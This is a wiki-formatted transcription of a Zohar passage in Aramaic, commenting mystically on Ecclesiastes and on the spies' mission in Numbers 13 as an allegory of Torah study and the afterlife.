אמרו ליה ובמה. {{ש}}
אמר לון על דא אמר שלמה האי קרא ולא אמר האי מגרמיה כשאר אינון מלין אלא אהדר אינון מלין דטפשאי עלמא דאמרי כך. ומאי אמרי {{צ|כי מקרה האדם ומקרה הבהמה וגו'}} טפשאי דלא ידעי ולא מסתכלן בחכמתא אמרי דהאי עלמא אזיל במקרה וקב&quot;ה לא אשגח עלייהו אלא {{צ|מקרה האדם ומקרה הבהמה ומקרה אחד וגו'}}. וכד שלמה אסתכל באלין טפשאין דקאמרי דא קרא לון בהמה דאינון עבדין גרמייהו בהמה ממש בגין דאמרי מלין אלין. 

ומנלן קרא דעליה אוכח דכתיב {{צ|אמרתי אני בלבי על דברת בני האדם לברם האלהים ולראות שהם בהמה המה להם}} {{ממ|קהלת|ג|יח}}. {{צ|אמרתי אני בלבי}} וחשיבנא בהאי לאסתכלא על מה. {{צ|על דברת בני האדם}} - על ההוא מלה דטפשותא דאינון אמרי {{צ|לברם האלהים}} בלחודייהו ולא יתחברון בהדי בני נשא אחרינן דאית לון מהימנותא {{צ|ולראות שהם בהמה המה להם}}. ולראות בהו אינון בני מהימנותא שהם בהמה ממש ודעתייהו כבעירא המה להם בלחודייהו ולא לאעלאה לבני מהימנותא בדעתא דטפשותא דא ועל דא {{צ|המה להם}} ולא לאחרנין. 

ומה דעתא דלהון? {{צ|כי מקרה בני האדם ומקרה הבהמה ומקרה אחד לכלם וגו'}}. תיפח רוחיהון דאינון בעירי! אינון טפשאי! אינון מחוסרי מהימנותא! ווי לון ווי לנפשייהו! טב להו דלא ייתון לעלמא! ומה אתיב לון שלמה על דא? קרא אבתריה ואמר {{צ|ומי יודע רוח בני האדם העולה היא למעלה ורוח הבהמה היורדת היא למטה לארץ}} {{ממ|קהלת|ג|כא}}. {{צ|מי יודע}} באינון טפשאי דלא ידעי ביקרא דמלכא עלאה ולא מסתכלי באורייתא {{צ|רוח בני האדם העולה היא למעלה}} לאתר עלאה לאתר יקר לאתר קדישא לאתזנא מנהירו עלאה מנהירו דמלכא קדישא למהוי צרורא בצרורא דחיי ואשתכחת קמי מלכא קדישא עולה תמימה ודא הוא {{צ|העולה היא למעלה}}. {{צ|ורוח הבהמה היורדת היא למטה לארץ}} ולאו לההוא אתר דהוה כל ב&quot;נ דכתיב ביה {{צ|בצלם אלהים עשה את האדם}} {{ממ|בראשית|א|כז}}, וכתיב {{צ|נר יהוה נשמת אדם}} {{ממ|משלי|כ|כז}}. היך אמרי אינון טפשאי דלאו מבני מהימנותא {{צ|ורוח אחד לכל}}?! תיפח רוחיהון עלייהו כתיב {{צ|יהיו כמוץ לפני רוח ומלאך יהוה דוחה}} {{ממ|תהלים|לה|ה}}. אלין ישתארון בגיהנם לאינון דרגין תתאין ולא יסתלקון לדרי דרין. עלייהו כתיב {{צ|יתמו חטאים מן הארץ ורשעים עוד אינם ברכי נפשי את יהוה הללויה}} {{ממ|תהלים|קד|לה}}. 

אתו רבי חזקיה ורבי ייסא ונשקו רישיה. 
אמרו: ומה כל כך הוה עמך ולא ידענא. זכאה האי שעתא דאערענא בך! &lt;קטע סוף=דף קנז ב/&gt;
 
{{ממ זהר משולב|ג|קנח|א}}

&lt;קטע התחלה=דף קנח א/&gt;תו אמר: &quot;''וכי על דא בלחודוי תוה שלמה?! והא באתר אחרא אמר כגוונא דא!''&quot;{{ש}} 
פתח ואמר: {{צ|זה רע בכל אשר נעשה תחת השמש}} {{ממ|קהלת|ט|ג}}. {{צ|זה רע}} ודאי. מאי {{צ|זה רע}}? דא הוא מאן דאושיד זרעא בריקניא וחביל אורחוי בגין דהאי לאו מדוריה בקב&quot;ה ולא יהא ליה חולקא בעלמא דאתי הדא הוא דכתיב {{צ|כי לא אל חפץ רשע אתה לא יגורך רע}} {{ממ|תהלים|ה|ה}}. על דא אמר {{צ|זה רע}} דלא יהא ליה מדורא לעילא כי מקרה אחד לכל וגם לב בני האדם מלא רע (בגין דא) והוללות בלבבם בחייהם שטותא תקיע בלבייהו ואינון מחוסרי מהימנותא ולית לון חולקא בקב&quot;ה ובאינון בני מהימנותא לאו בעלמא דין ולא בעלמא דאתי הדא הוא דכתיב {{צ|ואחריו אל המתים}} {{ממ|קהלת|ט|ג}}. 

תא חזי קב&quot;ה אזהר לבני עלמא ואמר {{צ|ובחרת בחיים למען תחיה}} {{ממ|דברים|ל|יט}} (בהאי עלמא ובעלמא דאתי) וחיין דההוא עלמא נינהו. אינון דחייבין מחוסרי מהימנותא מאי קא אמרי {{צ|כִּי מִי אֲשֶׁר [יבחר] יְחֻבַּר אֶל כׇּל הַחַיִּים יֵשׁ בִּטָּחוֹן כִּי לְכֶלֶב חַי הוּא טוֹב מִן הָאַרְיֵה הַמֵּת}} {{ממ|קהלת|ט|ד}}. אע&quot;ג דיבחר בר נש בהאי עלמא (ס&quot;א בההוא עלמא) כמה דאמר לאו הוא כלום דהא מסירא דא בידנא (שם אל כל החיים יש בטחון ומסירא דא בידייהו (שם) {{צ|כי לכלב חי הוא טוב מן האריה המת}}. היך יהא לן חיין בההוא עלמא ועל דא {{צ|זה רע}} ודאי דלא ידורון במלכא עלאה ולא יהא לון חולקא ביה. ואע&quot;ג דכל הני קראי תשכח סמיכין לחברייא במלין אחרנין. אבל ודאי שלמה קא אתא לגלאה על אינון חייבין מחוסרי מהימנותא דלית לון חולקא בקב&quot;ה בעלמא דין ובעלמא דאתי. 

אמר ליה תבעי דנתחבר בהדך ותזיל בהדן. 
אמר להו אי עבידנא הכי אורייתא יקרי עלי כסיל ולא עוד אלא דאתחייבנא בנפשאי. 
אמרו ליה למה. 
אמר לון דהא שליחא אנא ושדרו לי בשליחותא ושלמה מלכא אמר {{צ|מקצה רגלים חמס שותה שולח דברים ביד כסיל}} {{ממ|משלי|כו|ו}}. 

תא חזי מרגלים על דלא אשתכחו בני מהימנותא ושלוחי מהימנותא אתחייבו בנפשייהו בעלמא דין ובעלמא דאתי. 

נשק לון ואזל ליה. 

'''אזלו רבי חזקיה ור' ייסא'''. עד דהוו אזלו פגעו באינון בני נשא. 
שאילו ר' חזקיה ורבי ייסא עליה. אמרו מה שמיה דההוא בר נש? 
אמרו ר' חגי הוא וחברא דבין חברייא הוא ושדרו ליה חברייא דבבל למנדע מלין מר' שמעון בן יוחאי ושאר חברייא א&quot;ר ייסא ודאי דא הוא ר' חגי דכל יומוי לא בעא לאחזאה גרמיה במה דידע ועל דא אמר לן דהא בריה זכה ליה באורייתא בגין דאמר קרא {{צ|ראית איש חכם בעיניו תקוה לכסיל ממנו}} {{ממ|משלי|כו|יב}}. ודאי שליחא מהימנא איהו (וזכאה הוא שליחא מהימנא) וזכאה איהו מאן דשדר מלוי בידא דשליחא מהימנא. 

תא חזי אליעזר עבד אברהם מבני כנען הוה. כמה דאת אמר {{צ|כנען בידו מאזני מרמה}} {{ממ|הושע|יב|ח}}. וכנען כתיב עליה {{צ|ארור כנען עבד עבדים יהיה לאחיו}} {{ממ|בראשית|ט|כה}}. ובגין דהוה שליחא מהימנא מה כתיב ביה  {{צ|בא ברוך יהוה}} {{ממ|בראשית|כד|לא}} -  {{צ|ברוך יהוה}} ממש. ועל דא אכתיב הכי באורייתא בגין דנפק מההיא קללה ואתברך ולא די ליה דנפיק מנה אלא דאתברך בשמיה דקב&quot;ה ואוליפנא דאתא מלאך ואעיל מלה דא בפומיה דלבן:


'''{{צ|וישלח אותם משה וגו' כלם אנשים}} {{ממ|במדבר|יג|ג}}''' - כלהו זכאין הוו ורישי דישראל הוו אבל אינון דברו לגרמייהו עיטא בישא אמאי נטלי עיטא דא אלא אמרו אי ייעלון ישראל לארעא נתעבר אנן מלמהוי רישין וימני משה רישין אחרנין דהא אנן זכינן במדברא למהוי רישין אבל בארעא לא נזכי ועל דנטלי עיטא בישא לגרמייהו מיתו אינון וכל אינון דנטלן מלייהו: &lt;קטע סוף=דף קנח א/&gt;

 
{{ממ זהר משולב|ג|קנח|ב}}&lt;קטע התחלה=דף קנח ב/&gt;'''{{צ|אלה שמות האנשים אשר שלח משה וגו'}} {{ממ|במדבר|יג|טז}}''' אמר רבי יצחק משה אסתכל וידע דלא יצלחון בארחייהו כדין צלי עליה דיהושע כדין כלב הוה בדוחקא אמר מה אעביד הא יהושע אזיל בסייעתא עלאה דמשה דשדר ביה נהירו דסיהרא והוא אנהיר עליה בצלותיה בגין דאיהו שמשא. מה עבד כלב אשתמיט מנייהו ואתי לגבי קברייא דאבהן וצלי תמן צלותיה. 

א&quot;ר יהודה ארח אחרא נטיל ועקים שבילין ומטא על קברי דאבהן ואסתכן בגרמיה דהא כתיב  {{צ|ושם אחימן ששי ותלמי ילידי הענק}} {{ממ|במדבר|יג|כב}}. אבל מאן דאיהו בדוחקא לא אסתכל מדי. כך כלב בגין דהוה בדוחקא לא אסתכל מדי ואתא לצלאה על קברי אבהן לאשתזבא מעיטא דא:


'''{{צ|ויקרא משה להושע בן נון יהושע}} {{ממ|במדבר|יג|טז}}'''. רבי יצחק אמר וכי הושע קרייה קרא?! והא כתיב  {{צ|ויאמר משה אל יהושע}} {{ממ|שמות|יז|ט}},  {{צ|ויהושע בן נון נער}} {{ממ|שמות|לג|יא}},  {{צ|ויחלוש יהושע}} {{ממ|שמות|יז|יג}}! אלא אמר ליה משה יה יושיעך מנייהו. 

רבי אבא אמר כיון דשדריה למיעל לתמן אצטריך למהוי שלים ובמה בשכינתא דעד ההיא שעתא נער אקרי כמה דאוקימנא ובההיא שעתא קשיר ליה משה בהדה ואע&quot;ג דאשכחן יהושע בקדמיתא קרא קרייה הכי על ההוא דזמין למקרייה. אמר משה ודאי לא אצטריך דא למיעל תמן אלא בשכינתא והכי אתחזי:


'''{{צ|היש בה עץ אם אין וגו'}} {{ממ|במדבר|יג|כ}}'''. רבי חייא אמר וכי לא הוה ידע משה דאית בה כמה אילנין משניין דא מן דא והא הוא שבח לה לישראל בכמה זמנין והוא אסתפק בדא. והא קב&quot;ה קאמר ליה למשה בקדמיתא דהיא ארץ זבת חלב ודבש. אמר רבי יוסי הא אתערו חברייא דכתיב  {{צ|איש היה בארץ עוץ איוב שמו}} {{ממ|איוב|א|א}}. אמר רבי שמעון רמז להם רמיזא דחכמתא על מה דשאילו בקדמיתא דכתיב  {{צ|היש יהוה בקרבנו אם אין}} {{ממ|שמות|יז|ז}}. אמר תמן תחמון אי היא אתחזיא להאי או להאי. אמר לון אי תחמון דאיבא דארעא כשאר ארעי דעלמא יש בה עץ אילנא דחיי ולא מאתר עלאה יתיר. ואי תחמון דאיבא דארעא יתיר ומשנייא מכל אתר דעלמא תנדעון דהא מעתיקא קדישא קא נגיד ואתמשך ההוא שנוייא עלאה מכל אתרי דעלמא ובדא תנדעון היש בה ע&quot;ץ אם אי&quot;ן ודא בעיתון בקדמיתא (דבמעיכון בעיתון) למנדע דא דכתיב {{צ|היש יהוה בקרבנו}} - {{צ|בקרבנו}} דייקא! או {{צ|אם אין}}. 

ועל דא {{צ|והתחזקתם ולקחתם מפרי הארץ}} למנדע שנוייא דיליה. 

{{צ|והימים ימי בכורי ענבים}}. {{צ|והימים}} מאי קא מיירי דהא ואז בכורי ענבים סגי ליה אלא והימים אינון דאשתמודען כלהו הוו מתחברן בההוא זמנא בההוא אילנא דחטא ביה אדם הראשון כמה דתנינן ענבים היו ועל דא  {{צ|והימים}} - אינון דאשתמודען,  {{צ|ימי בכורי ענבים}} דייקא!


'''{{צ|ויעלו בנגב ויבא עד חברון}} {{ממ|במדבר|יג|כב}}''' - &quot;ויבאו&quot; מבעי ליה!? אלא אמר רבי יוסי כלב הוא דאתא לצלאה על קברי אבהתא. אמר כלב יהושע הא ברכיה משה בסיועא עלאה קדישא ויכיל לאשתזבא מנייהו ואנא מה אעביד. אימלך למבעי בעותא על קברי אבהתא בגין דישתזיב מרזהון (ס&quot;א מעיטא בישא דשאר מאללין. 

רבי יצחק אמר מאן דהוה רשים מכלהו דא עאל בגוויה דביה תליא כלא. ות&quot;ח מאן הוא משאר אחרי דיכול לאעלא תמן דהא כתיב {{צ|ושם אחימן ששי ותלמי}} ומדחילו דלהון מאן יכיל לאעלאה &lt;קטע סוף=דף קנח ב/&gt;

 
{{ממ זהר משולב|ג|קנט|א}}&lt;קטע התחלה=דף קנט א/&gt;במערתא. אלא שכינתא עאלת תמן בכלב לבשרא לאבהן דהא מטא זמנא לאעלא בנייהו לארעא דאומי לון קב&quot;ה ודא הוא ויבא עד חברון. תאנא אחימן ששי ותלמי ממאן נפקו זרעא הוו מאינון נפילין דאפיל לון קב&quot;ה בארעא ואולידו מבנת ארעא ומנייהו נפקו גיברי עלמא כמה דכתיב {{צ|המה הגבורים אשר מעולם אנשי השם}} {{ממ|בראשית|ו|ד}}. {{צ|אשר מעולם}} - דשמשי (נ&quot;א מדאתברי) עלמא משתכחי. {{צ|אנשי השם}} - אחימן ששי ותלמי:


'''{{צ|ויבאו עד נחל אשכול וגו'}} {{ממ|במדבר|יג|כג}}''' {{ש}}
רבי יהודה פתח: {{צ|כה אמר האל יהוה בורא השמים ונוטיהם וגו'}} {{ממ|ישעיהו|מב|ה}}. כמה אית להו לבני נשא לאסתכלא בפולחנא דקב&quot;ה כמה אית להו לאסתכלא במלי דאורייתא דכל מאן דאשתדל באורייתא כאילו מקרב כל קורבנין דעלמא לקמי קב&quot;ה ולא עוד אלא דקב&quot;ה מכפר ליה על כל חובוי ומתקנין ליה כמה כורסיין לעלמא דאתי {{ש}}
'''(חסר)''' {{להשלים}}


'''ר' יהודה הוה אזיל בארחא בהדי ר' אבא'''. {{ש}}
שאל ליה אמר מלה חד בעינא לשאלא כיון דידע קב&quot;ה דזמין בר נש למחטי קמיה ולמגזר עליה מיתה - אמאי ברא ליה? דהא אורייתא הוה תרי אלפין שנין עד לא איברי עלמא וכתיב בה באורייתא {{צ|אדם כי ימות באהל}}. {{צ|איש כי ימות}}. {{צ|וימת}}. {{צ|ויחי פלוני וימת}}. מאי קבעי קב&quot;ה לבר נש בהאי עלמא?! דאפילו אי אשתדל באורייתא יממא וליליא - ימות! ואי לא אשתדל באורייתא - ימות! כלא בחד ארחא בר פרישותא דההוא עלמא כמה דאת אמר {{צ|כטוב כחוטא}} {{ממ|קהלת|ט|ב}}. 

אמר ליה: אורחוי דמארך וגזרי דמארך מה לך למטרח בהו?! מה דאית לך רשו למנדע ולאסתכלא - שאיל! ודלית לך רשו למנדע - כתיב {{ממ|קהלת|ה|ה}} {{צ|אל תתן את פיך לחטיא את בשרך}}! דאורחוי דקב&quot;ה וסתרין גניזין עלאין דהוא סתים וגניז לית לן לשאלא! {{ש}}
אמר ליה: אי הכי הא אורייתא כלא סתים וגניז דהא היא שמא קדישא עלאה הוי ומאן דמתעסק באורייתא כאלו אתעסק בשמיה קדישא ואי הכי לית לן לשאלא ולאסתכלא. {{ש}}
אמר ליה: אורייתא כלא סתים וגלייא ושמיה קדישא סתים וגלייא וכתיב {{צ|הנסתרות ליהוה אלהינו והנגלות לנו ולבנינו}} {{ממ|דברים|כט|כח}}. {{צ|הנגלות לנו}} - דאית רשו לשאלא ולעיינא ולאסתכלא בהו ולמנדע בהו. אבל {{צ|הנסתרות ליהוה אלהינו}} - דיליה אינון וליה אתחזיין דמאן יכיל למנדע ולאתדבקא דעתוי סתימא. וכ&quot;ש למשאל. 

תא חזי לית רשו לבני עלמא למימר מלין סתימין ולפרשא לון בר בוצינא קדישא רבי שמעון! דהא קב&quot;ה אסתכם על ידוי. ובגין דדרא דילה(?) רשימא הוא לעילא ותתא ועל דא מלין אתמרו באתגלייא על ידוי ולא יהא דרא כדרא דאיהו שארי בגויה עד דייתי מלכא משיחא! 

אבל תא חזי כתיב {{צ|ויברא אלהים את האדם בצלמו בצלם אלהים ברא אותו}} {{ממ|בראשית|א|כז}} (ובכלא הוא כעין דוגמא דלעילא. ת&quot;ח) רזא דמלה. {{ש}}
תלת עלמין אית ליה לקב&quot;ה דאיהו גניז בגווייהו. 
* עלמא קדמאה - ההוא עלאה טמירא דכלא דלא אסתכל ביה ולא אתידע ביה בר איהו, דאיהו גניז בגוויה. 
* עלמא תניינא - קשיר בההוא דלעילא, ודא הוא דקב&quot;ה אשתמודע מניה כמה דכתיב {{צ|פתחו לי שערי צדק...זה השער ליהוה}}. ודא הוא עלמא תניינא. 
* עלמא תליתאה - ההוא עלמא תתאה מנייהו דאשתכח ביה פרודא ודא הוא עלמא דמלאכי עלאי שריין בגוויה. וקודשא בריך הוא אשתכח ביה ולא אשתכח. אשתכח ביה השתא - כד בעאן לאסתכלא ולמנדע ליה. אסתלק מנייהו ולא אתחזי עד דכלהו שאלי {{צ|איה מקום כבודו}}. {{צ|ברוך כבוד יהוה ממקומו}}. והאי הוא עלמא דלא אשתכח ביה תדירא. &lt;קטע סוף=דף קנט א/&gt;

{{ממ זהר משולב|ג|קנט|ב}}{{ש}}
&lt;קטע התחלה=דף קנט ב/&gt;כגוונא דא {{צ|בצלם אלהים עשה את האדם}} {{ממ|בראשית|א|כז}} כדין אית ליה תלת עלמין. 
* עלמא קדמאה - האי עלמא דאקרי {{צ|עלמא דפירודא}}, ובר נש אשתכח ביה ולא אשתכח. כד בעאן לאסתכלא ביה - אסתלק מנייהו ולא אתחזי. 
* עלמא תניינא - עלמא דאיהו קשיר בההוא עלמא עלאה ודא הוא גן עדן די בארעא דדא הוא קשיר בעלמא אחרא עלאה. ומהאי אתידע ואשתמודע עלמא אחרא. 
* עלמא תליתאה - עלמא עלאה טמירא גניז וסתים, דלית מאן דידע ליה, כמה דכתיב {{צ|עין לא ראתה אלהים זולתך יעשה למחכה לו}} {{ממ|ישעיהו|סד|ג}}. 

וכלא כגוונא עלאה (קדמאה דאמינא ובקשוט) דכתיב {{צ|בצלם אלהים עשה את האדם}} (ת&quot;ח ודאי){{ש}} 
על דא כתיב {{צ|בנים אתם ליהוה אלהיכם וגו'}} {{ממ|דברים|יד|א}} כמה דאוקמוה ואלין אינון {{צ|בצלם אלהים}}, ואלין ירתין ירותא עלאה כגוונא דיליה. ועל דא אזהר באורייתא {{צ|לא תתגודדו ולא תשימו קרחה}} - דהא לא אתאביד והא שכיח בעלמין טבין עלאין ויקירן להוון חדן כד אסתלק (צדיקא) מהאי עלמא. 

ותא חזי אלמלי לא חב אדם - לא יטעם טעמא דמותא בהאי עלמא בזמנא דעייל לעלמין אחרנין! אבל בגין דחב - טעם טעמא דמותא עד לא ייעול לאינון עלמין. ואתפשט רוחא מהאי גופא, ואשאר ליה בהאי עלמא, ורוחא אסתחיא בנהר דינור לקבלא עונשא ולבתר עיילא לגן עדן דבארעא. ואזדמנא ליה מאנא אחרא דנהורא כהאי פרצופא דגופא דהאי עלמא ממש. ואתלבש ואתתקן ביה. ותמן הוא מדורא דיליה תדיר. ואתקשר בריש ירחי ושבתי בנשמתא, וסליק ואתעטר לעילא לעילא. 

הדא הוא דכתיב {{צ|והיה מדי חדש בחדשו וגו'}} {{ממ|ישעיהו|סו|כג}}. {{צ|מדי חדש בחדשו}} אמאי? אלא רזא דמלה בגין חדתותי דסיהרא דאתעטרא (עטרוי) לאנהרא מן שמשא בההוא זמנא. וכן {{צ|מדי שבת בשבתו}}. {{צ|מדי שבת}} - דא סיהרא. {{צ|בשבתו}} - דא שמשא; דנהורא אתיא לה מן תמן. ועל דא כלא חד מלה! 

ודא הוא ברירא דמלה בר לחייביא דכתיב בהו 'מיתה' לכלהו עלמין, 'כרת' מכלהו עלמין. ואשתציין מכלא כד לא עיילי בתשובה. 

אמר רבי יהודה: בריך רחמנא דשאילנא ורווחנא מלין אלין וקאימנא עלייהו! 


'''אמר ר' שמעון:''' מפרשתא דא אוליפנא רזא דחכמתא ואשתמעו מנה רזין עלאין ויקירין! {{ש}}
תא חזי! קב&quot;ה משבח באורייתא ואמר &quot;''אזילו באורחי! אשתדלו בפולחני! והא אנא מעייל לכון לעלמין טבין לעלמין עלאין''&quot;. {{ש}}
בני נשא דלא ידעי לא מהימני ולא מסתכלי קב&quot;ה אמר &quot;''אזילו! אלילו ההוא עלמא טבא! ההוא עלמא עלאה דכסופא!''&quot; {{ש}}
אינון אמרי: &quot;''איך ניכול לאללא ליה ולמנדע כל האי?!''&quot; 

מה כתיב? {{ש}}
{{צ|עלו זה בנגב}} - &quot;''אשתדלו באורייתא ותחמון דהא היא קימא קמייכו ומנה תנדעון ליה''&quot;.{{ש}} 
{{צ|וראיתם את הארץ מה היא וגו'}} - &quot;''תחמון מנה ההוא עלמא דהא ירותא דאחסנא דאנא עייל לכו בה''&quot;. {{ש}}
{{צ|ואת העם היושב עליה}} - &quot;''אינון צדיקייא דבגנתא דעדן דקיימן שורין שורין ביקרא עלאה בדרגין עלאין''&quot;. {{ש}}
{{צ|החזק הוא חרפה}} - &quot;''בה תחמו אי זכו לכל האי כד אתקפו על יצריהון ותברו ליה אי לא. או כד אתקפו באורייתא למלעי בה יממא וליליא או אי ארפו ידייהו מנה וזכו לכל האי''&quot;. {{ש}}
{{צ|המעט הוא אם רב}} - ''&quot;אי סגיאין אינון דאשתדלו בפולחני ואתקיפו באורייתא בגין דזכו לכל האי אי לא''&quot;

{{צ|ומה הארץ השמנה הוא אם רזה}} - מדאורייתא תנדעון מה הארץ - מה ההוא עלמא אי אסגי טיבו עלאה ליתבהא או אי אזעיר מנה כלום. {{ש}}
{{צ|היש בה עץ אם אין}}  - האית בה אילנא דחיי לעלם ולעלמי עלמין או אי צרורא דחיי אשתכח בגווה אם לא.&lt;קטע סוף=דף קנט ב/&gt;

{{ממ זהר משולב|ג|קס|א}}

&lt;קטע התחלה=דף קס א/&gt;{{צ|ויעלו בנגב ויבא עד חברון}} {{ממ|במדבר|יג|כב}}. {{ש}}
{{צ|ויעלו בנגב}} - בני נשא סלקין בגווה {{צ|בנגב}} - בלבא עצלא - כמאן דאשתדל במגנא בנגיבו דחשיב דלית בה אגר חמי דהא עותרא דהאי עלמא אביד בגינה חשיב דכלא הוא. {{צ|בנגב}} - כמה דאת אמר {{צ|חרבו המים}} ומתרגמינן {{צ|נגיבו}}. 

לבתר {{צ|ויבא עד חברון}} - עד דאתי לאתחברא בה קארי ושאני בה. {{ש}}
{{צ|ושם אחימן ששי ותלמי}} - תמן חמי פליגן סגיאין - טמא וטהור אסור ומותר (נ&quot;א כשר ופסול) עונשין ואגרין. אלין אינון ארחי דאורייתא דקדוקי אורייתא.{{ש}} 
{{צ|ילידי הענק}} - דאתילידו מסטרא דגבורה. {{ש}} 
{{צ|וחברון שבע שנים נבנתה}} - אלין אינון שבעין אנפין דאורייתא. שבעין פנים אית לה - לכל סטרא עשרה. {{ש}} 
{{צ|וחברון}} - דא אורייתא. מאן דאשתדל בה אקרי 'חבר'. {{ש}} 
{{צ|לפני צוען מצרים}} - תנינן אורייתא אית לקבל אורייתא והיינו תורה שבכתב ותורה שבע&quot;פ והאי (מל') חברון מתורה שבכתב נפקת כמה דאת אמר {{צ|אמור לחכמה אחותי את}} {{ממ|משלי|ז|ד}}. והאי 'נבנתה' שבע שנין - דבגין כך אקרי {{צ|בת שבע}}, {{צ|לפני צען מצרים}} כמה דאת אמר {{צ|ותרב חכמת שלמה מחכמת כל בני קדם ומכל חכמת מצרים}} {{ממ|מ&quot;א|ה|י}}. 


{{צ|ויבאו עד נחל אשכול}} - אלין אינון מלי אגדה דרשה דתליין מסטרא דמהימנותא. {{ש}}
{{צ|ויכרתו משם זמורה וגו'}}. אולפין מתמן ראשי פרקין ראשי מלין אינון לבני מהימנותא חדאן במלין ומתברכן מלין בגוייהו ומסתכלן שרשא חד ועקרא חד ולא אשתכח בהו פרודא. אינון דלא משתכחי בני מהימנותא ולא אולפי אורייתא לשמה שוין ליה למהימנותא בפרודא הדא הוא דכתיב {{צ|וישאוהו במוט בשנים}} בפרודא. 

מהו {{צ|במוט}}? כמה דאת אמר {{צ|אל יתן למוט רגלך}} {{ממ|תהלים|קכא|ג}}. {{ש}}
{{צ|ומן הרמונים ומן התאנים}} - כלא שוין להני מילי לסטרא אחרא לסטרא דמיגאי לסטרא דפורדא. הדא הוא דכתיב {{צ|וישובו מתור הארץ}}. {{ש}}
{{צ|וישובו}} - תייבין לסטרא בישא ותייבין מארחא דקשוט. אמרי &quot;''מאי אכפת לן עד יומא לא חמינא טב לעלמא אעמלנא בה ביתא ריקם. יתיבנא בקלנא דעמא ולההוא עלמא מאן יזכי ומאן ייעול לגוויה?! טב לן דלא אטרחנא כולי האי!''&quot; 

{{צ|ויספרו לו ויאמרו וגו'}} - הא אעמלנא ולאינא בגין למנדע חולקא דההוא עלמא. {{ש}}
{{צ|וגם זבת חלב ודבש היא}}. טב הוא ההוא עלמא עלאה כמה דידענא באורייתא אבל מאן יכיל למזכי ביה. {{ש}}
{{צ|אפס כי עז העם}} - תקיף הוא דלא יחשיב כל עלמא כלל בגין דיהא ליה עותרא סגיא לאשתדלא ביה מאן הוא דיזכי בה. ודאי {{צ|אפס כי עז העם היושב בארץ}} מאן דבעי למזכי בה בעי למהוי תקיף בעותרא כמה דאת אמר {{צ|ועשיר יענה עזות}} {{ממ|משלי|יח|כג}}. 

{{צ|והערים גדולות בצורות}}. בין מליין כל טובא דלא יחסרון מכלא. ועם כל דא {{צ|וגם ילידי הענק ראינו שם}} - בעי גופא תקיף גיבר כארי (דישתכח תמן תדירא) בגין דהיא מתשת חיליה דבר נש לאשתדלא בההוא איסור והתר טמא וטהור כשר ופסול מאן ייכול לזכאה בה. 

ועוד - {{צ|עמלק יושב בארץ הנגב}} - אי יימא בר נש דאפילו בכל דאי זכי - {{צ|עמלק יושב בארץ הנגב}}! הא יצרא בישא קטיגורא מקטרגא דבר נש דישתכח תדיר בגופא! {{ש}}
{{צ|והחתי והאמורי וגו'}} - כמה מקטרגי משתכחי תמן (בגין) דלא יכיל בר נש למיעל בההוא עלמא כלל! מאן יזכי ליה ומאן ייעול בגויה במלין אלין!

{{צ|ויניאו את לב בני ישראל}}. בגין דאפיקו שום ביש עלה כמה דאת אמר {{צ|ויוציאו את דבת הארץ}} {{ממ|במדבר|יג|לב}}. 

אינון בני מהימנותא מאי קא אמרי? {{צ|אם חפץ בנו יהוה ונתנה לנו}} - כיון דישתדל בר נש ברעותא דלבא לגבי קב&quot;ה - לא בעי מנן אלא לבא ויסתמרון ההוא רשימא קדישא דכתיב {{צ|ועמך כלם צדיקים לעולם יירשו ארץ}}.&lt;קטע סוף=דף קס א/&gt; 

{{ממ זהר משולב|ג|קס|ב}}

&lt;קטע התחלה=דף קס ב/&gt;אבל {{צ|אך ביהוה אל תמרודו}}! בעי דלא ימרדון באורייתא! דאורייתא לא בעי עותרא ולא מאני דכספא ודהבא. 

{{צ|ואתם אל תיראו את עם הארץ}} - דהא גופא תבירא אי ישתדל באורייתא ישכח אסוותא בכלא! הדא הוא דכתיב {{צ|רפאות תהי לשרך ושקוי לעצמותיך}}, וכתיב {{צ|ולכל בשרו מרפא}}. וכל אינון מקטרגי אינון מכרזאן ואמרי &quot;''פנו אתר לפלנייא עבדא דמלכא!''&quot;. בגין כך {{צ|אל תיראו}}. {{ש}}
{{צ|כי לחמנו הם}}. אינון בגרמייהו מזמנן מזוגי בכל יומא לאינון דמשתדלי באורייתא כמה דאת אמר {{צ|ואת העורבים צויתי לכלכך}} {{ממ|מ&quot;א|יז|ד}}, וכתיב {{צ|והעורבים מביאים לו לחם ובשר}} {{ממ|מ&quot;א|יז|ו}}. 

{{צ|סר צלם מעליהם}} - מאן {{צ|צלם}}? דא תוקפא דדינא קשיא. מאי טעמא אעדי? משום ד{{צ|יהוה אתנו אל תיראום}} - כלא אעדיאו בגין אורייתא. 

זכאה חולקהון דאינון דמשתדלי באורייתא לשמה - דהא מתקשרי בקב&quot;ה ממש ואקרון 'אחים ורעים'! הדא הוא דכתיב {{צ|למען אחי ורעי אדברה נא שלום בך}} {{ממ|תהלים|קכב|ח}}:


'''{{צ|ויבאו עד נחל אשכול וגו'}} {{ממ|במדבר|יג|כג}}'''.{{ש}} 
רבי אבא אמר כרתו ההוא אשכול אתו לסלקא ליה לא יכילו. אתו לנטלא ליה לא יכילו אתו כלב ויהושע נטלו ליה וסליקו ליה ואזדקף על ידייהו הדא הוא דכתיב {{צ|וישאוהו במוט בשנים}} - {{צ|בשנים}} - באינון שנים יחידן. {{צ|זמורה}} מאי קא בעאן? אלא אשכול הוה תלייא ביה ובעוד דהוה מתחבר באתריה אקרי {{צ|זמורה}} לבתר קרייה {{צ|מוט}} דכתיב {{צ|וישאוהו במוט}} ההוא דאשתמודע ההוא דכרתו מכאן ידעו יהושע וכלב דאינון אתחזיין למיעל לארעא ולמהוי לון בה חלק ואחסנא. עד דהוו אתיין אמלכו עלייהו כלהו. קאים כלב באיבא. אמר איבא איבא אי בגינך אנן מתקטלין מה אנן בחולקך מיד קליל גרמיה ויהבו לון. 

ר' אלעזר אמר לא יהבו לאחרי דהא כתיב {{צ|וישאוהו במוט}} וכתיב {{צ|בשנים}} ובכלהו לא הוו שנים כוותייהו ומכאן אוליף יהושע לבתר דכתיב {{צ|וישלח יהושע בן נון מן השטים שנים אנשים מרגלים}} {{ממ|יהושע|ב|א}} והני שנים הא אוקמוה קדמאי. וכד מטו לגבייהו דישראל יהבו לון ואינון אשתארו ועבדו גרמייהו שיריים. ר' יצחק אמר כד הוו מטאן לגבייהו דאינון ענקים הוו שוויין ההוא חוטרא דמשה קמייהו ואשתזיבו ומנלן דההוא חוטרא יהיב לון הדא הוא דכתיב {{צ|ויאמר אליהם עלו זה בנגב}}. כתיב הכא {{צ|עלו זה}} וכתיב התם {{צ|ואת המטה הזה וגו'}} ובגיניה אשתזיבו. דאי תימא הני ענקייא שבקי לון אלא אתו לנסבא לון והוו שוויין לקמייהו ההוא חוטרא ומשתזבי (ס&quot;א ומשתמטי) מקמייהו. 

